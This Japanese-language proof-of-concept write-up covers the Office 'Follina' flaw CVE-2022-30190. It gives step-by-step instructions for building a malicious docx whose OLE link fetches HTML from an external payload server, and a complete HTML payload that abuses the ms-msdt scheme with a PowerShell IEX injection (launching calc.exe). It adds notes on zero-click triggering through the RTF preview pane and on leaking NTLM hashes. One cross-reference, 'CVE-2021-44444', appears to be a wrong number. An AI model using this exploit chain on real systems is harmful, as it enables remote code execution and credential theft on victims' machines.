
POC CVE-2022-30190 : CVE ゼロデイ MS Office RCE 別名 msdt follina
2022年5月29日、独立したサイバーセキュリティ研究チームであるNao_Secチームは、Virustotalで共有された悪意のあるOffice文書を発見しました。この文書は、異常ではあるが既知のスキームを使用して被害者に感染します。このスキームは、Microsoft Defender for Endpointなどの一部のEDRによって悪意があると検出されませんでした。この脆弱性は、Protected Viewモードが有効でない限り、マクロを伴わないため、ユーザーの操作なしでコード実行につながる可能性があります。まだCVE番号は割り当てられていません。
この脆弱性は、MSProtocol URIスキームを使用してコードを読み込むことで悪用されています。攻撃者は、ms-msdt: で始まる悪意のあるリンクをMicrosoft Office文書、テンプレート、または電子メールに埋め込む可能性があり、Protected Viewモードが有効でない限り、ユーザーの操作なしで読み込まれて実行されます。それでも、文書をRTF形式に変換することでProtected View機能をバイパスすることもできます。
MS Officeのdocxファイルには、HTMLファイルとして外部OLEオブジェクト参照が含まれる場合があります。HTMLスキーム「ms-msdt:」が存在し、msdt診断ツールを呼び出し、任意のコード(パラメータで指定)を実行できます。結果として、悪意のあるdocxファイルを開くだけで(マクロを使用せずに)RCEを得る恐ろしい攻撃ベクトルとなります。
以下は、概念実証のdocxを構築する手順です。
Wordを開き(最新の2019 Pro、16.0.10386.20017を使用)、ダミー文書を作成し、(OLE)オブジェクト(ビットマップイメージとして)を挿入し、docxとして保存します。
docx構造内の word/_rels/document.xml.rels を編集します(これはプレーンなzipです)。属性 Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" および Target="embeddings/oleObject1.bin" を持つXMLタグ <Relationship> を変更し、Target 値を変更し、属性 TargetMode を追加します:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
Idの値に注意してください(おそらく "rId5" です)。
word/document.xml を編集します。"<o:OLEObject ..>" タグ(r:id="rId5" 付き)を検索し、属性を Type="Embed" から Type="Link" に変更し、属性 UpdateMode="OnCall" を追加します。
注:作成された悪意のあるdocxは、CVE-2021-44444 のものとほぼ同じです。
http://<payload_server>/payload.html で、ms-msdtスキームを使用したPoC(calc.exeランチャー)HTMLペイロードを提供します。<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
注意事項:
さらに、トリガーペイロードはリモートの場所に到達する可能性があります。信頼されていないバイナリを呼び出す可能性は低いですが、接続にはNTLMハッシュ(つまり、攻撃者が被害者のWindowsパスワードのハッシュを取得することを意味します)が含まれ、攻撃者がさらなるポストエクスプロイトに使用する可能性があります。
手順3で word/document.xml の <o:OLEObject> 要素の下に以下の要素も追加すると:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
すると、RTFとしても機能します(生成されたdocxを開いてRTFとして保存します)。
RTFの場合、Wordでファイルを開く必要はなく、ファイルを参照してプレビューウィンドウで見るだけで十分です。プレビューウィンドウが外部HTMLペイロードをトリガーし、クリックなしでRCEが発生します。